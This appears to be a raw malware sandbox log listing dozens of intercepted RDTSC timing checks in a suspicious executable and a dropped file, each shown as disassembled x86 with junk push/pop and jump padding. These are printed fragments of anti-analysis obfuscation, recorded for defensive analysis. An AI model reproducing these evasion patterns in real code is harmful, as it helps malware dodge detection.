Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB06F2 second address: 4DB06F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB06F8 second address: 4DB06FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB06FC second address: 4DB0700 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0700 second address: 4DB0721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edi+01h] 0x0000000b pushad 0x0000000c movsx edx, si 0x0000000f mov edi, eax 0x00000011 popad 0x00000012 inc edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FB818D70DCAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0721 second address: 4DB0727 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0727 second address: 4DB072D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB072D second address: 4DB0731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0731 second address: 4DB0802 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d pushad 0x0000000e push eax 0x0000000f mov edx, 77698EC0h 0x00000014 pop ebx 0x00000015 pushad 0x00000016 mov cx, 6CBBh 0x0000001a push ecx 0x0000001b pop edx 0x0000001c popad 0x0000001d popad 0x0000001e jne 00007FB88A1E90E3h 0x00000024 pushad 0x00000025 push esi 0x00000026 pushfd 0x00000027 jmp 00007FB818D70DCFh 0x0000002c add ax, 189Eh 0x00000031 jmp 00007FB818D70DD9h 0x00000036 popfd 0x00000037 pop eax 0x00000038 jmp 00007FB818D70DD1h 0x0000003d popad 0x0000003e mov ecx, edx 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007FB818D70DCCh 0x00000047 sbb eax, 2680F9C8h 0x0000004d jmp 00007FB818D70DCBh 0x00000052 popfd 0x00000053 pushfd 0x00000054 jmp 00007FB818D70DD8h 0x00000059 sub si, FC28h 0x0000005e jmp 00007FB818D70DCBh 0x00000063 popfd 0x00000064 popad 0x00000065 shr ecx, 02h 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0802 second address: 4DB0806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0806 second address: 4DB080A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB080A second address: 4DB0810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0810 second address: 4DB082D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818D70DD9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB082D second address: 4DB0851 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsd 0x0000000a rep movsd 0x0000000c rep movsd 0x0000000e rep movsd 0x00000010 rep movsd 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB8192482E8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0851 second address: 4DB0857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0857 second address: 4DB085B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB085B second address: 4DB0890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a jmp 00007FB818D70DD9h 0x0000000f and ecx, 03h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB818D70DCDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0890 second address: 4DB08A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8192482DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB08A0 second address: 4DB08F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsb 0x0000000a jmp 00007FB818D70DD7h 0x0000000f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 call 00007FB818D70DCBh 0x0000001e pop esi 0x0000001f jmp 00007FB818D70DD9h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB08F1 second address: 4DB08F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB08F7 second address: 4DB08FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB08FB second address: 4DB09F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FB8192482E5h 0x00000011 jmp 00007FB8192482DBh 0x00000016 popfd 0x00000017 pushfd 0x00000018 jmp 00007FB8192482E8h 0x0000001d sbb eax, 690F5258h 0x00000023 jmp 00007FB8192482DBh 0x00000028 popfd 0x00000029 popad 0x0000002a mov ecx, dword ptr [ebp-10h] 0x0000002d jmp 00007FB8192482E6h 0x00000032 mov dword ptr fs:[00000000h], ecx 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007FB8192482DEh 0x00000040 jmp 00007FB8192482E5h 0x00000045 popfd 0x00000046 mov ah, 1Bh 0x00000048 popad 0x00000049 pop ecx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d pushfd 0x0000004e jmp 00007FB8192482E4h 0x00000053 jmp 00007FB8192482E5h 0x00000058 popfd 0x00000059 pushfd 0x0000005a jmp 00007FB8192482E0h 0x0000005f jmp 00007FB8192482E5h 0x00000064 popfd 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB09F4 second address: 4DB0A35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx ebx, cx 0x00000010 pushfd 0x00000011 jmp 00007FB818D70DD4h 0x00000016 xor al, FFFFFF98h 0x00000019 jmp 00007FB818D70DCBh 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0A35 second address: 4DB057D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FB8192482E5h 0x0000000b sub cx, 4636h 0x00000010 jmp 00007FB8192482E1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop esi 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FB8192482E8h 0x00000021 sub ax, 5488h 0x00000026 jmp 00007FB8192482DBh 0x0000002b popfd 0x0000002c popad 0x0000002d pop ebx 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FB8192482E4h 0x00000035 and ch, FFFFFFE8h 0x00000038 jmp 00007FB8192482DBh 0x0000003d popfd 0x0000003e mov bx, cx 0x00000041 popad 0x00000042 leave 0x00000043 jmp 00007FB8192482E2h 0x00000048 retn 0008h 0x0000004b cmp dword ptr [ebp-2Ch], 10h 0x0000004f mov eax, dword ptr [ebp-40h] 0x00000052 jnc 00007FB8192482D5h 0x00000054 push eax 0x00000055 lea edx, dword ptr [ebp-00000590h] 0x0000005b push edx 0x0000005c call esi 0x0000005e push 00000008h 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0B83 second address: 4DB0BB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FB818D70DD6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0BB3 second address: 4DB0BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0BB9 second address: 4DB0BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0BBD second address: 4DB0BF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cx, di 0x0000000f pushfd 0x00000010 jmp 00007FB8192482E1h 0x00000015 xor si, 9556h 0x0000001a jmp 00007FB8192482E1h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0BF6 second address: 4DB0C33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FB818D70DCEh 0x0000000f mov ebp, esp 0x00000011 jmp 00007FB818D70DD0h 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0C33 second address: 4DB0C50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 886411 second address: 88641B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB818D70DC6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88671E second address: 886722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 886722 second address: 886726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 886726 second address: 886731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 886731 second address: 88673F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88673F second address: 886759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8192482E6h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 886759 second address: 88675D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88675D second address: 886763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 886763 second address: 886769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 886A8C second address: 886A90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 886A90 second address: 886A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 886A96 second address: 886A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 886BD8 second address: 886BDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 886BDD second address: 886BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 886BE3 second address: 886BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB818D70DCDh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88A99F second address: 88A9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88A9A3 second address: 88A9F9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a jc 00007FB818D70DCCh 0x00000010 jmp 00007FB818D70DD9h 0x00000015 push 00000000h 0x00000017 movzx ecx, si 0x0000001a call 00007FB818D70DC9h 0x0000001f jmp 00007FB818D70DCAh 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 ja 00007FB818D70DCCh 0x0000002d jg 00007FB818D70DC6h 0x00000033 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88A9F9 second address: 88AA3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ecx 0x0000000e jnl 00007FB8192482D8h 0x00000014 pop ecx 0x00000015 mov eax, dword ptr [eax] 0x00000017 push ebx 0x00000018 jbe 00007FB8192482DCh 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 pushad 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88ABA0 second address: 88ABA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88ABA5 second address: 88ABAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88ABAB second address: 88ABE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov cx, B9BCh 0x0000000e push 00000000h 0x00000010 mov edx, 441C6ABBh 0x00000015 push 9A7371EAh 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FB818D70DD9h 0x00000021 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88ABE0 second address: 88ABF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB8192482E2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88AD31 second address: 88AD3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88AD3A second address: 88AD3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88AD3E second address: 88AD42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88AD42 second address: 88AD7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jmp 00007FB8192482E9h 0x0000000d push 00000000h 0x0000000f movsx ecx, di 0x00000012 push 2A05A6D3h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jg 00007FB8192482D6h 0x00000020 jno 00007FB8192482D6h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88AD7D second address: 88AD84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88AD84 second address: 88ADD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 2A05A653h 0x0000000e pushad 0x0000000f mov dword ptr [ebp+122D1BD1h], esi 0x00000015 mov esi, dword ptr [ebp+122D1B8Ah] 0x0000001b popad 0x0000001c push 00000003h 0x0000001e mov dword ptr [ebp+122D1BD1h], edi 0x00000024 push 00000000h 0x00000026 movzx ecx, bx 0x00000029 and edi, 6996F9F4h 0x0000002f push 00000003h 0x00000031 sub ecx, dword ptr [ebp+122D2B3Ch] 0x00000037 xor dh, FFFFFFE1h 0x0000003a call 00007FB8192482D9h 0x0000003f jg 00007FB8192482E4h 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88ADD0 second address: 88AE05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB818D70DC6h 0x0000000a popad 0x0000000b push eax 0x0000000c jp 00007FB818D70DDFh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 push esi 0x0000001a pop esi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88AE05 second address: 88AE52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007FB8192482DEh 0x00000011 jmp 00007FB8192482E6h 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jg 00007FB8192482E8h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88AE52 second address: 88AE56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 88AE56 second address: 88AEA6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB8192482D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b add ch, FFFFFF85h 0x0000000e lea ebx, dword ptr [ebp+1245F898h] 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FB8192482D8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e xchg eax, ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FB8192482E4h 0x00000036 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8A9AED second address: 8A9B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818D70DCFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8A9B02 second address: 8A9B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8192482E5h 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8A9B1F second address: 8A9B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB818D70DD0h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8A9B36 second address: 8A9B4A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB8192482D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jnp 00007FB8192482E0h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8AA680 second address: 8AA684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8AA970 second address: 8AA97C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB8192482D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8AA97C second address: 8AA984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8AAAC7 second address: 8AAAE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8192482E9h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8AAAE4 second address: 8AAAEE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB818D70DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8AAAEE second address: 8AAB22 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB8192482F4h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jbe 00007FB8192482D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8AB53A second address: 8AB55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818D70DD1h 0x00000009 popad 0x0000000a push ebx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop ebx 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8AB55D second address: 8AB567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB8192482D6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8AB567 second address: 8AB573 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB818D70DC6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8AB83B second address: 8AB849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007FB8192482D6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8AE9F2 second address: 8AE9F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8AE9F6 second address: 8AEA14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FB8192482DCh 0x00000010 js 00007FB8192482D6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8AEE07 second address: 8AEE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
